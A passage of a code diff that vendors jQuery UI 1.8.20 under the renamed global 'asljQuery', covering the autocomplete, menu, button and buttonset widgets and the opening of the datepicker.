+ this.close();
6301
+ }
6302
+ },
6303
+
6304
+ close: function( event ) {
6305
+ clearTimeout( this.closing );
6306
+ if ( this.menu.element.is(":visible") ) {
6307
+ this.menu.element.hide();
6308
+ this.menu.deactivate();
6309
+ this._trigger( "close", event );
6310
+ }
6311
+ },
6312
+
6313
+ _change: function( event ) {
6314
+ if ( this.previous !== this.element.val() ) {
6315
+ this._trigger( "change", event, { item: this.selectedItem } );
6316
+ }
6317
+ },
6318
+
6319
+ _normalize: function( items ) {
6320
+ // assume all items have the right format when the first item is complete
6321
+ if ( items.length && items[0].label && items[0].value ) {
6322
+ return items;
6323
+ }
6324
+ return $.map( items, function(item) {
6325
+ if ( typeof item === "string" ) {
6326
+ return {
6327
+ label: item,
6328
+ value: item
6329
+ };
6330
+ }
6331
+ return $.extend({
6332
+ label: item.label || item.value,
6333
+ value: item.value || item.label
6334
+ }, item );
6335
+ });
6336
+ },
6337
+
6338
+ _suggest: function( items ) {
6339
+ var ul = this.menu.element
6340
+ .empty()
6341
+ .zIndex( this.element.zIndex() + 1 );
6342
+ this._renderMenu( ul, items );
6343
+ // TODO refresh should check if the active item is still in the dom, removing the need for a manual deactivate
6344
+ this.menu.deactivate();
6345
+ this.menu.refresh();
6346
+
6347
+ // size and position menu
6348
+ ul.show();
6349
+ this._resizeMenu();
6350
+ ul.position( $.extend({
6351
+ of: this.element
6352
+ }, this.options.position ));
6353
+
6354
+ if ( this.options.autoFocus ) {
6355
+ this.menu.next( new $.Event("mouseover") );
6356
+ }
6357
+ },
6358
+
6359
+ _resizeMenu: function() {
6360
+ var ul = this.menu.element;
6361
+ ul.outerWidth( Math.max(
6362
+ // Firefox wraps long text (possibly a rounding bug)
6363
+ // so we add 1px to avoid the wrapping (#7513)
6364
+ ul.width( "" ).outerWidth() + 1,
6365
+ this.element.outerWidth()
6366
+ ) );
6367
+ },
6368
+
6369
+ _renderMenu: function( ul, items ) {
6370
+ var self = this;
6371
+ $.each( items, function( index, item ) {
6372
+ self._renderItem( ul, item );
6373
+ });
6374
+ },
6375
+
6376
+ _renderItem: function( ul, item) {
6377
+ return $( "<li></li>" )
6378
+ .data( "item.autocomplete", item )
6379
+ .append( $( "<a></a>" ).text( item.label ) )
6380
+ .appendTo( ul );
6381
+ },
6382
+
6383
+ _move: function( direction, event ) {
6384
+ if ( !this.menu.element.is(":visible") ) {
6385
+ this.search( null, event );
6386
+ return;
6387
+ }
6388
+ if ( this.menu.first() && /^previous/.test(direction) ||
6389
+ this.menu.last() && /^next/.test(direction) ) {
6390
+ this.element.val( this.term );
6391
+ this.menu.deactivate();
6392
+ return;
6393
+ }
6394
+ this.menu[ direction ]( event );
6395
+ },
6396
+
6397
+ widget: function() {
6398
+ return this.menu.element;
6399
+ },
6400
+ _keyEvent: function( keyEvent, event ) {
6401
+ if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
6402
+ this._move( keyEvent, event );
6403
+
6404
+ // prevents moving cursor to beginning/end of the text field in some browsers
6405
+ event.preventDefault();
6406
+ }
6407
+ }
6408
+ });
6409
+
6410
+ $.extend( $.ui.autocomplete, {
6411
+ escapeRegex: function( value ) {
6412
+ return value.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
6413
+ },
6414
+ filter: function(array, term) {
6415
+ var matcher = new RegExp( $.ui.autocomplete.escapeRegex(term), "i" );
6416
+ return $.grep( array, function(value) {
6417
+ return matcher.test( value.label || value.value || value );
6418
+ });
6419
+ }
6420
+ });
6421
+
6422
+ }(asljQuery));
6423
+
6424
+ /*
6425
+ * jQuery UI Menu (not officially released)
6426
+ *
6427
+ * This widget isn't yet finished and the API is subject to change. We plan to finish
6428
+ * it for the next release. You're welcome to give it a try anyway and give us feedback,
6429
+ * as long as you're okay with migrating your code later on. We can help with that, too.
6430
+ *
6431
+ * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about)
6432
+ * Dual licensed under the MIT or GPL Version 2 licenses.
6433
+ * http://jquery.org/license
6434
+ *
6435
+ * http://docs.jquery.com/UI/Menu
6436
+ *
6437
+ * Depends:
6438
+ * jquery.ui.core.js
6439
+ * jquery.ui.widget.js
6440
+ */
6441
+ (function($) {
6442
+
6443
+ $.widget("ui.menu", {
6444
+ _create: function() {
6445
+ var self = this;
6446
+ this.element
6447
+ .addClass("ui-menu ui-widget ui-widget-content ui-corner-all")
6448
+ .attr({
6449
+ role: "listbox",
6450
+ "aria-activedescendant": "ui-active-menuitem"
6451
+ })
6452
+ .click(function( event ) {
6453
+ if ( !$( event.target ).closest( ".ui-menu-item a" ).length ) {
6454
+ return;
6455
+ }
6456
+ // temporary
6457
+ event.preventDefault();
6458
+ self.select( event );
6459
+ });
6460
+ this.refresh();
6461
+ },
6462
+
6463
+ refresh: function() {
6464
+ var self = this;
6465
+
6466
+ // don't refresh list items that are already adapted
6467
+ var items = this.element.children("li:not(.ui-menu-item):has(a)")
6468
+ .addClass("ui-menu-item")
6469
+ .attr("role", "menuitem");
6470
+
6471
+ items.children("a")
6472
+ .addClass("ui-corner-all")
6473
+ .attr("tabindex", -1)
6474
+ // mouseenter doesn't work with event delegation
6475
+ .mouseenter(function( event ) {
6476
+ self.activate( event, $(this).parent() );
6477
+ })
6478
+ .mouseleave(function() {
6479
+ self.deactivate();
6480
+ });
6481
+ },
6482
+
6483
+ activate: function( event, item ) {
6484
+ this.deactivate();
6485
+ if (this.hasScroll()) {
6486
+ var offset = item.offset().top - this.element.offset().top,
6487
+ scroll = this.element.scrollTop(),
6488
+ elementHeight = this.element.height();
6489
+ if (offset < 0) {
6490
+ this.element.scrollTop( scroll + offset);
6491
+ } else if (offset >= elementHeight) {
6492
+ this.element.scrollTop( scroll + offset - elementHeight + item.height());
6493
+ }
6494
+ }
6495
+ this.active = item.eq(0)
6496
+ .children("a")
6497
+ .addClass("ui-state-hover")
6498
+ .attr("id", "ui-active-menuitem")
6499
+ .end();
6500
+ this._trigger("focus", event, { item: item });
6501
+ },
6502
+
6503
+ deactivate: function() {
6504
+ if (!this.active) { return; }
6505
+
6506
+ this.active.children("a")
6507
+ .removeClass("ui-state-hover")
6508
+ .removeAttr("id");
6509
+ this._trigger("blur");
6510
+ this.active = null;
6511
+ },
6512
+
6513
+ next: function(event) {
6514
+ this.move("next", ".ui-menu-item:first", event);
6515
+ },
6516
+
6517
+ previous: function(event) {
6518
+ this.move("prev", ".ui-menu-item:last", event);
6519
+ },
6520
+
6521
+ first: function() {
6522
+ return this.active && !this.active.prevAll(".ui-menu-item").length;
6523
+ },
6524
+
6525
+ last: function() {
6526
+ return this.active && !this.active.nextAll(".ui-menu-item").length;
6527
+ },
6528
+
6529
+ move: function(direction, edge, event) {
6530
+ if (!this.active) {
6531
+ this.activate(event, this.element.children(edge));
6532
+ return;
6533
+ }
6534
+ var next = this.active[direction + "All"](".ui-menu-item").eq(0);
6535
+ if (next.length) {
6536
+ this.activate(event, next);
6537
+ } else {
6538
+ this.activate(event, this.element.children(edge));
6539
+ }
6540
+ },
6541
+
6542
+ // TODO merge with previousPage
6543
+ nextPage: function(event) {
6544
+ if (this.hasScroll()) {
6545
+ // TODO merge with no-scroll-else
6546
+ if (!this.active || this.last()) {
6547
+ this.activate(event, this.element.children(".ui-menu-item:first"));
6548
+ return;
6549
+ }
6550
+ var base = this.active.offset().top,
6551
+ height = this.element.height(),
6552
+ result = this.element.children(".ui-menu-item").filter(function() {
6553
+ var close = $(this).offset().top - base - height + $(this).height();
6554
+ // TODO improve approximation
6555
+ return close < 10 && close > -10;
6556
+ });
6557
+
6558
+ // TODO try to catch this earlier when scrollTop indicates the last page anyway
6559
+ if (!result.length) {
6560
+ result = this.element.children(".ui-menu-item:last");
6561
+ }
6562
+ this.activate(event, result);
6563
+ } else {
6564
+ this.activate(event, this.element.children(".ui-menu-item")
6565
+ .filter(!this.active || this.last() ? ":first" : ":last"));
6566
+ }
6567
+ },
6568
+
6569
+ // TODO merge with nextPage
6570
+ previousPage: function(event) {
6571
+ if (this.hasScroll()) {
6572
+ // TODO merge with no-scroll-else
6573
+ if (!this.active || this.first()) {
6574
+ this.activate(event, this.element.children(".ui-menu-item:last"));
6575
+ return;
6576
+ }
6577
+
6578
+ var base = this.active.offset().top,
6579
+ height = this.element.height(),
6580
+ result = this.element.children(".ui-menu-item").filter(function() {
6581
+ var close = $(this).offset().top - base + height - $(this).height();
6582
+ // TODO improve approximation
6583
+ return close < 10 && close > -10;
6584
+ });
6585
+
6586
+ // TODO try to catch this earlier when scrollTop indicates the last page anyway
6587
+ if (!result.length) {
6588
+ result = this.element.children(".ui-menu-item:first");
6589
+ }
6590
+ this.activate(event, result);
6591
+ } else {
6592
+ this.activate(event, this.element.children(".ui-menu-item")
6593
+ .filter(!this.active || this.first() ? ":last" : ":first"));
6594
+ }
6595
+ },
6596
+
6597
+ hasScroll: function() {
6598
+ return this.element.height() < this.element[ $.fn.prop ? "prop" : "attr" ]("scrollHeight");
6599
+ },
6600
+
6601
+ select: function( event ) {
6602
+ this._trigger("selected", event, { item: this.active });
6603
+ }
6604
+ });
6605
+
6606
+ }(asljQuery));
6607
+
6608
+ (function( $, undefined ) {
6609
+
6610
+ var lastActive, startXPos, startYPos, clickDragged,
6611
+ baseClasses = "ui-button ui-widget ui-state-default ui-corner-all",
6612
+ stateClasses = "ui-state-hover ui-state-active ",
6613
+ typeClasses = "ui-button-icons-only ui-button-icon-only ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary ui-button-text-only",
6614
+ formResetHandler = function() {
6615
+ var buttons = $( this ).find( ":ui-button" );
6616
+ setTimeout(function() {
6617
+ buttons.button( "refresh" );
6618
+ }, 1 );
6619
+ },
6620
+ radioGroup = function( radio ) {
6621
+ var name = radio.name,
6622
+ form = radio.form,
6623
+ radios = $( [] );
6624
+ if ( name ) {
6625
+ if ( form ) {
6626
+ radios = $( form ).find( "[name='" + name + "']" );
6627
+ } else {
6628
+ radios = $( "[name='" + name + "']", radio.ownerDocument )
6629
+ .filter(function() {
6630
+ return !this.form;
6631
+ });
6632
+ }
6633
+ }
6634
+ return radios;
6635
+ };
6636
+
6637
+ $.widget( "ui.button", {
6638
+ options: {
6639
+ disabled: null,
6640
+ text: true,
6641
+ label: null,
6642
+ icons: {
6643
+ primary: null,
6644
+ secondary: null
6645
+ }
6646
+ },
6647
+ _create: function() {
6648
+ this.element.closest( "form" )
6649
+ .unbind( "reset.button" )
6650
+ .bind( "reset.button", formResetHandler );
6651
+
6652
+ if ( typeof this.options.disabled !== "boolean" ) {
6653
+ this.options.disabled = !!this.element.propAttr( "disabled" );
6654
+ } else {
6655
+ this.element.propAttr( "disabled", this.options.disabled );
6656
+ }
6657
+
6658
+ this._determineButtonType();
6659
+ this.hasTitle = !!this.buttonElement.attr( "title" );
6660
+
6661
+ var self = this,
6662
+ options = this.options,
6663
+ toggleButton = this.type === "checkbox" || this.type === "radio",
6664
+ hoverClass = "ui-state-hover" + ( !toggleButton ? " ui-state-active" : "" ),
6665
+ focusClass = "ui-state-focus";
6666
+
6667
+ if ( options.label === null ) {
6668
+ options.label = this.buttonElement.html();
6669
+ }
6670
+
6671
+ this.buttonElement
6672
+ .addClass( baseClasses )
6673
+ .attr( "role", "button" )
6674
+ .bind( "mouseenter.button", function() {
6675
+ if ( options.disabled ) {
6676
+ return;
6677
+ }
6678
+ $( this ).addClass( "ui-state-hover" );
6679
+ if ( this === lastActive ) {
6680
+ $( this ).addClass( "ui-state-active" );
6681
+ }
6682
+ })
6683
+ .bind( "mouseleave.button", function() {
6684
+ if ( options.disabled ) {
6685
+ return;
6686
+ }
6687
+ $( this ).removeClass( hoverClass );
6688
+ })
6689
+ .bind( "click.button", function( event ) {
6690
+ if ( options.disabled ) {
6691
+ event.preventDefault();
6692
+ event.stopImmediatePropagation();
6693
+ }
6694
+ });
6695
+
6696
+ this.element
6697
+ .bind( "focus.button", function() {
6698
+ // no need to check disabled, focus won't be triggered anyway
6699
+ self.buttonElement.addClass( focusClass );
6700
+ })
6701
+ .bind( "blur.button", function() {
6702
+ self.buttonElement.removeClass( focusClass );
6703
+ });
6704
+
6705
+ if ( toggleButton ) {
6706
+ this.element.bind( "change.button", function() {
6707
+ if ( clickDragged ) {
6708
+ return;
6709
+ }
6710
+ self.refresh();
6711
+ });
6712
+ // if mouse moves between mousedown and mouseup (drag) set clickDragged flag
6713
+ // prevents issue where button state changes but checkbox/radio checked state
6714
+ // does not in Firefox (see ticket #6970)
6715
+ this.buttonElement
6716
+ .bind( "mousedown.button", function( event ) {
6717
+ if ( options.disabled ) {
6718
+ return;
6719
+ }
6720
+ clickDragged = false;
6721
+ startXPos = event.pageX;
6722
+ startYPos = event.pageY;
6723
+ })
6724
+ .bind( "mouseup.button", function( event ) {
6725
+ if ( options.disabled ) {
6726
+ return;
6727
+ }
6728
+ if ( startXPos !== event.pageX || startYPos !== event.pageY ) {
6729
+ clickDragged = true;
6730
+ }
6731
+ });
6732
+ }
6733
+
6734
+ if ( this.type === "checkbox" ) {
6735
+ this.buttonElement.bind( "click.button", function() {
6736
+ if ( options.disabled || clickDragged ) {
6737
+ return false;
6738
+ }
6739
+ $( this ).toggleClass( "ui-state-active" );
6740
+ self.buttonElement.attr( "aria-pressed", self.element[0].checked );
6741
+ });
6742
+ } else if ( this.type === "radio" ) {
6743
+ this.buttonElement.bind( "click.button", function() {
6744
+ if ( options.disabled || clickDragged ) {
6745
+ return false;
6746
+ }
6747
+ $( this ).addClass( "ui-state-active" );
6748
+ self.buttonElement.attr( "aria-pressed", "true" );
6749
+
6750
+ var radio = self.element[ 0 ];
6751
+ radioGroup( radio )
6752
+ .not( radio )
6753
+ .map(function() {
6754
+ return $( this ).button( "widget" )[ 0 ];
6755
+ })
6756
+ .removeClass( "ui-state-active" )
6757
+ .attr( "aria-pressed", "false" );
6758
+ });
6759
+ } else {
6760
+ this.buttonElement
6761
+ .bind( "mousedown.button", function() {
6762
+ if ( options.disabled ) {
6763
+ return false;
6764
+ }
6765
+ $( this ).addClass( "ui-state-active" );
6766
+ lastActive = this;
6767
+ $( document ).one( "mouseup", function() {
6768
+ lastActive = null;
6769
+ });
6770
+ })
6771
+ .bind( "mouseup.button", function() {
6772
+ if ( options.disabled ) {
6773
+ return false;
6774
+ }
6775
+ $( this ).removeClass( "ui-state-active" );
6776
+ })
6777
+ .bind( "keydown.button", function(event) {
6778
+ if ( options.disabled ) {
6779
+ return false;
6780
+ }
6781
+ if ( event.keyCode == $.ui.keyCode.SPACE || event.keyCode == $.ui.keyCode.ENTER ) {
6782
+ $( this ).addClass( "ui-state-active" );
6783
+ }
6784
+ })
6785
+ .bind( "keyup.button", function() {
6786
+ $( this ).removeClass( "ui-state-active" );
6787
+ });
6788
+
6789
+ if ( this.buttonElement.is("a") ) {
6790
+ this.buttonElement.keyup(function(event) {
6791
+ if ( event.keyCode === $.ui.keyCode.SPACE ) {
6792
+ // TODO pass through original event correctly (just as 2nd argument doesn't work)
6793
+ $( this ).click();
6794
+ }
6795
+ });
6796
+ }
6797
+ }
6798
+
6799
+ // TODO: pull out $.Widget's handling for the disabled option into
6800
+ // $.Widget.prototype._setOptionDisabled so it's easy to proxy and can
6801
+ // be overridden by individual plugins
6802
+ this._setOption( "disabled", options.disabled );
6803
+ this._resetButton();
6804
+ },
6805
+
6806
+ _determineButtonType: function() {
6807
+
6808
+ if ( this.element.is(":checkbox") ) {
6809
+ this.type = "checkbox";
6810
+ } else if ( this.element.is(":radio") ) {
6811
+ this.type = "radio";
6812
+ } else if ( this.element.is("input") ) {
6813
+ this.type = "input";
6814
+ } else {
6815
+ this.type = "button";
6816
+ }
6817
+
6818
+ if ( this.type === "checkbox" || this.type === "radio" ) {
6819
+ // we don't search against the document in case the element
6820
+ // is disconnected from the DOM
6821
+ var ancestor = this.element.parents().filter(":last"),
6822
+ labelSelector = "label[for='" + this.element.attr("id") + "']";
6823
+ this.buttonElement = ancestor.find( labelSelector );
6824
+ if ( !this.buttonElement.length ) {
6825
+ ancestor = ancestor.length ? ancestor.siblings() : this.element.siblings();
6826
+ this.buttonElement = ancestor.filter( labelSelector );
6827
+ if ( !this.buttonElement.length ) {
6828
+ this.buttonElement = ancestor.find( labelSelector );
6829
+ }
6830
+ }
6831
+ this.element.addClass( "ui-helper-hidden-accessible" );
6832
+
6833
+ var checked = this.element.is( ":checked" );
6834
+ if ( checked ) {
6835
+ this.buttonElement.addClass( "ui-state-active" );
6836
+ }
6837
+ this.buttonElement.attr( "aria-pressed", checked );
6838
+ } else {
6839
+ this.buttonElement = this.element;
6840
+ }
6841
+ },
6842
+
6843
+ widget: function() {
6844
+ return this.buttonElement;
6845
+ },
6846
+
6847
+ destroy: function() {
6848
+ this.element
6849
+ .removeClass( "ui-helper-hidden-accessible" );
6850
+ this.buttonElement
6851
+ .removeClass( baseClasses + " " + stateClasses + " " + typeClasses )
6852
+ .removeAttr( "role" )
6853
+ .removeAttr( "aria-pressed" )
6854
+ .html( this.buttonElement.find(".ui-button-text").html() );
6855
+
6856
+ if ( !this.hasTitle ) {
6857
+ this.buttonElement.removeAttr( "title" );
6858
+ }
6859
+
6860
+ $.Widget.prototype.destroy.call( this );
6861
+ },
6862
+
6863
+ _setOption: function( key, value ) {
6864
+ $.Widget.prototype._setOption.apply( this, arguments );
6865
+ if ( key === "disabled" ) {
6866
+ if ( value ) {
6867
+ this.element.propAttr( "disabled", true );
6868
+ } else {
6869
+ this.element.propAttr( "disabled", false );
6870
+ }
6871
+ return;
6872
+ }
6873
+ this._resetButton();
6874
+ },
6875
+
6876
+ refresh: function() {
6877
+ var isDisabled = this.element.is( ":disabled" );
6878
+ if ( isDisabled !== this.options.disabled ) {
6879
+ this._setOption( "disabled", isDisabled );
6880
+ }
6881
+ if ( this.type === "radio" ) {
6882
+ radioGroup( this.element[0] ).each(function() {
6883
+ if ( $( this ).is( ":checked" ) ) {
6884
+ $( this ).button( "widget" )
6885
+ .addClass( "ui-state-active" )
6886
+ .attr( "aria-pressed", "true" );
6887
+ } else {
6888
+ $( this ).button( "widget" )
6889
+ .removeClass( "ui-state-active" )
6890
+ .attr( "aria-pressed", "false" );
6891
+ }
6892
+ });
6893
+ } else if ( this.type === "checkbox" ) {
6894
+ if ( this.element.is( ":checked" ) ) {
6895
+ this.buttonElement
6896
+ .addClass( "ui-state-active" )
6897
+ .attr( "aria-pressed", "true" );
6898
+ } else {
6899
+ this.buttonElement
6900
+ .removeClass( "ui-state-active" )
6901
+ .attr( "aria-pressed", "false" );
6902
+ }
6903
+ }
6904
+ },
6905
+
6906
+ _resetButton: function() {
6907
+ if ( this.type === "input" ) {
6908
+ if ( this.options.label ) {
6909
+ this.element.val( this.options.label );
6910
+ }
6911
+ return;
6912
+ }
6913
+ var buttonElement = this.buttonElement.removeClass( typeClasses ),
6914
+ buttonText = $( "<span></span>", this.element[0].ownerDocument )
6915
+ .addClass( "ui-button-text" )
6916
+ .html( this.options.label )
6917
+ .appendTo( buttonElement.empty() )
6918
+ .text(),
6919
+ icons = this.options.icons,
6920
+ multipleIcons = icons.primary && icons.secondary,
6921
+ buttonClasses = [];
6922
+
6923
+ if ( icons.primary || icons.secondary ) {
6924
+ if ( this.options.text ) {
6925
+ buttonClasses.push( "ui-button-text-icon" + ( multipleIcons ? "s" : ( icons.primary ? "-primary" : "-secondary" ) ) );
6926
+ }
6927
+
6928
+ if ( icons.primary ) {
6929
+ buttonElement.prepend( "<span class='ui-button-icon-primary ui-icon " + icons.primary + "'></span>" );
6930
+ }
6931
+
6932
+ if ( icons.secondary ) {
6933
+ buttonElement.append( "<span class='ui-button-icon-secondary ui-icon " + icons.secondary + "'></span>" );
6934
+ }
6935
+
6936
+ if ( !this.options.text ) {
6937
+ buttonClasses.push( multipleIcons ? "ui-button-icons-only" : "ui-button-icon-only" );
6938
+
6939
+ if ( !this.hasTitle ) {
6940
+ buttonElement.attr( "title", buttonText );
6941
+ }
6942
+ }
6943
+ } else {
6944
+ buttonClasses.push( "ui-button-text-only" );
6945
+ }
6946
+ buttonElement.addClass( buttonClasses.join( " " ) );
6947
+ }
6948
+ });
6949
+
6950
+ $.widget( "ui.buttonset", {
6951
+ options: {
6952
+ items: ":button, :submit, :reset, :checkbox, :radio, a, :data(button)"
6953
+ },
6954
+
6955
+ _create: function() {
6956
+ this.element.addClass( "ui-buttonset" );
6957
+ },
6958
+
6959
+ _init: function() {
6960
+ this.refresh();
6961
+ },
6962
+
6963
+ _setOption: function( key, value ) {
6964
+ if ( key === "disabled" ) {
6965
+ this.buttons.button( "option", key, value );
6966
+ }
6967
+
6968
+ $.Widget.prototype._setOption.apply( this, arguments );
6969
+ },
6970
+
6971
+ refresh: function() {
6972
+ var rtl = this.element.css( "direction" ) === "rtl";
6973
+
6974
+ this.buttons = this.element.find( this.options.items )
6975
+ .filter( ":ui-button" )
6976
+ .button( "refresh" )
6977
+ .end()
6978
+ .not( ":ui-button" )
6979
+ .button()
6980
+ .end()
6981
+ .map(function() {
6982
+ return $( this ).button( "widget" )[ 0 ];
6983
+ })
6984
+ .removeClass( "ui-corner-all ui-corner-left ui-corner-right" )
6985
+ .filter( ":first" )
6986
+ .addClass( rtl ? "ui-corner-right" : "ui-corner-left" )
6987
+ .end()
6988
+ .filter( ":last" )
6989
+ .addClass( rtl ? "ui-corner-left" : "ui-corner-right" )
6990
+ .end()
6991
+ .end();
6992
+ },
6993
+
6994
+ destroy: function() {
6995
+ this.element.removeClass( "ui-buttonset" );
6996
+ this.buttons
6997
+ .map(function() {
6998
+ return $( this ).button( "widget" )[ 0 ];
6999
+ })
7000
+ .removeClass( "ui-corner-left ui-corner-right" )
7001
+ .end()
7002
+ .button( "destroy" );
7003
+
7004
+ $.Widget.prototype.destroy.call( this );
7005
+ }
7006
+ });
7007
+
7008
+ }(asljQuery) );
7009
+
7010
+ (function( $, undefined ) {
7011
+
7012
+ $.extend($.ui, { datepicker: { version: "1.8.20" } });
7013
+
7014
+ var PROP_NAME = 'datepicker';
7015
+ var dpuuid = new Date().getTime();
7016
+ var instActive;
7017
+
7018
+ /* Date picker manager.
7019
+ Use the singleton instance of this class, $.datepicker, to interact with the date picker.
7020
+ Settings for (groups of) date pickers are maintained in an instance object,
7021
+ allowing multiple different settings on the same page. */
7022
+
7023
+ function Datepicker() {
7024
+ this.debug = false; // Change this to true to start debugging
7025
+ this._curInst = null; // The current instance in use
7026
+ this._keyEvent = false; // If the last event was a key event
7027
+ this._disabledInputs = []; // List of date picker inputs that have been disabled
7028
+ this._datepickerShowing = false; // True if the popup picker is showing , false if not
7029
+ this._inDialog = false; // True if showing within a "dialog", false if not
7030
+ this._mainDivId = 'ui-datepicker-div'; // The ID of the main datepicker division
7031
+ this._inlineClass = 'ui-datepicker-inline'; // The name of the inline marker class
7032
+ this._appendClass = 'ui-datepicker-append'; // The name of the append marker class
7033
+ this._triggerClass = 'ui-datepicker-trigger'; // The name of the trigger marker class
7034
+ this._dialogClass = 'ui-datepicker-dialog'; // The name of the dialog marker class
7035
+ this._disableClass = 'ui-datepicker-disabled'; // The name of the disabled covering marker class
7036
+ this._unselectableClass = 'ui-datepicker-unselectable'; // The name of the unselectable cell marker class
7037
+ this._currentClass = 'ui-datepicker-current-day'; // The name of the current day marker class
7038
+ this._dayOverClass = 'ui-datepicker-days-cell-over'; // The name of the day hover marker class
7039
+ this.regional = []; // Available regional settings, indexed by language code
7040
+ this.regional[''] = { // Default regional settings
7041
+ closeText: 'Done', // Display text for close link
7042
+ prevText: 'Prev', // Display text for previous month link
7043
+ nextText: 'Next', // Display text for next month link
7044
+ currentText: 'Today', // Display text for current month link
7045
+ monthNames: ['January','February','March','April','May','June',
7046
+ 'July','August','September','October','November','December'], // Names of months for drop-down and formatting
7047
+ monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], // For formatting
7048
+ dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], // For formatting
7049
+ dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], // For formatting
7050
+ dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], // Column headings for days starting at Sunday
7051
+ weekHeader: 'Wk', // Column header for week of the year
7052
+ dateFormat: 'mm/dd/yy', // See format options on parseDate
7053
+ firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
7054
+ isRTL: false, // True if right-to-left language, false if left-to-right
7055
+ showMonthAfterYear: false, // True if the year select precedes month, false for month then year
7056
+ yearSuffix: '' // Additional text to append to the year in the month headers
7057
+ };
7058
+ this._defaults = { // Global defaults for all the date picker instances
7059
+ showOn: 'focus', // 'focus' for popup on focus,
7060
+ // 'button' for trigger button, or 'both' for either
7061
+ showAnim: 'fadeIn', // Name of jQuery animation for popup
7062
+ showOptions: {}, // Options for enhanced animations
7063
+ defaultDate: null, // Used when field is blank: actual date,
7064
+ // +/-number for offset from today, null for today
7065
+ appendText: '', // Display text following the input box, e.g. showing the format
7066
+ buttonText: '...', // Text for trigger button
7067
+ buttonImage: '', // URL for trigger button image
7068
+ buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
7069
+ hideIfNoPrevNext: false, // True to hide next/previous month links
7070
+ // if not applicable, false to just disable them
7071
+ navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links
7072
+ gotoCurrent: false, // True if today link goes back to current selection instead
7073
+ changeMonth: false, // True if month can be selected directly, false if only prev/next
7074
+ changeYear: false, // True if year can be selected directly, false if only prev/next
7075
+ yearRange: 'c-10:c+10', // Range of years to display in drop-down,
7076
+ // either relative to today's year (-nn:+nn), relative to currently displayed year
7077
+ // (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n)
7078
+ showOtherMonths: false, // True to show dates in other months, false to leave blank
7079
+ selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable
7080
+ showWeek: false, // True to show week of the year, false to not show it
7081
+ calculateWeek: this.iso8601Week, // How to calculate the week of the year,
7082
+ // takes a Date and returns the number of the week for it
7083
+ shortYearCutoff: '+10', // Short year values < this are in the current century,
7084
+ // > this are in the previous century,
7085
+ // string value starting with '+' for current year + value
7086
+ minDate: null, // The earliest selectable date, or null for no limit
7087
+ maxDate: null, // The latest selectable date, or null for no limit
7088
+ duration: 'fast', // Duration of display/closure
7089
+ beforeShowDay: null, // Function that takes a date and returns an array with
7090
+ // [0] = true if selectable, false if not, [1] = custom CSS class name(s) or '',
7091
+ // [2] = cell title (optional), e.g. $.datepicker.noWeekends
7092
+ beforeShow: null, // Function that takes an input field and
7093
+ // returns a set of custom settings for the date picker
7094
+ onSelect: null, // Define a callback function when a date is selected
7095
+ onChangeMonthYear: null, // Define a callback function when the month or year is changed
7096
+ onClose: null, // Define a callback function when the datepicker is closed
7097
+ numberOfMonths: 1, // Number of months to show at a time
7098
+ showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)
7099
+ stepMonths: 1, // Number of months to step back/forward
7100
+ stepBigMonths: 12, // Number of months to step back/forward for the big links
7101
+ altField: '', // Selector for an alternate field to store selected dates into
7102
+ altFormat: '', // The date format to use for the alternate field
7103
+ constrainInput: true, // The input is constrained by the current date format
7104
+ showButtonPanel: false, // True to show button panel, false to not show it
7105
+ autoSize: false, // True to size the input for the date format, false to leave as is
7106
+ disabled: false // The initial disabled state
7107
+ };
7108
+ $.extend(this._defaults, this.regional['']);
7109
+ this.dpDiv = bindHover($('<div id="' + this._mainDivId + '" class="ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all"></div>'));
7110
+ }
7111
+
7112
+ $.extend(Datepicker.prototype, {
7113
+ /* Class name added to elements to indicate already configured with a date picker. */
7114
+ markerClassName: 'hasDatepicker',
7115
+
7116
+ //Keep track of the maximum number of rows displayed (see #7043)
7117
+ maxRows: 4,
7118
+
7119
+ /* Debug logging (if enabled). */
7120
+ log: function () {
7121
+ if (this.debug)
7122
+ console.log.apply('', arguments);
7123
+ },
7124
+
7125
+ // TODO rename to "widget" when switching to widget factory
7126
+ _widgetDatepicker: function() {
7127
+ return this.dpDiv;
7128
+ },
7129
+
7130
+ /* Override the default settings for all instances of the date picker.
7131
+ @param settings object - the new settings to use as defaults (anonymous object)
7132
+ @return the manager object */
7133
+ setDefaults: function(settings) {
7134
+ extendRemove(this._defaults, settings || {});
7135
+ return this;
7136
+ },
7137
+
7138
+ /* Attach the date picker to a jQuery selection.
7139
+ @param target element - the target input field or division or span
7140
+ @param settings object - the new settings to use for this date picker instance (anonymous) */
7141
+ _attachDatepicker: function(target, settings) {
7142
+ // check for settings on the control itself - in namespace 'date:'
7143
+ var inlineSettings = null;
7144
+ for (var attrName in this._defaults) {
7145
+ var attrValue = target.getAttribute('date:' + attrName);
7146
+ if (attrValue) {
7147
+ inlineSettings = inlineSettings || {};
7148
+ try {
7149
+ inlineSettings[attrName] = eval(attrValue);
7150
+ } catch (err) {
7151
+ inlineSettings[attrName] = attrValue;
7152
+ }
7153
+ }
7154
+ }
7155
+ var nodeName = target.nodeName.toLowerCase();
7156
+ var inline = (nodeName == 'div' || nodeName == 'span');
7157
+ if (!target.id) {
7158
+ this.uuid += 1;
7159
+ target.id = 'dp' + this.uuid;
7160
+ }
7161
+ var inst = this._newInst($(target), inline);
7162
+ inst.settings = $.extend({}, settings || {}, inlineSettings || {});
7163
+ if (nodeName == 'input') {
7164
+ this._connectDatepicker(target, inst);
7165
+ } else if (inline) {
7166
+ this._inlineDatepicker(target, inst);
7167
+ }
7168
+ },
7169
+
7170
+ /* Create a new instance object. */
7171
+ _newInst: function(target, inline) {
7172
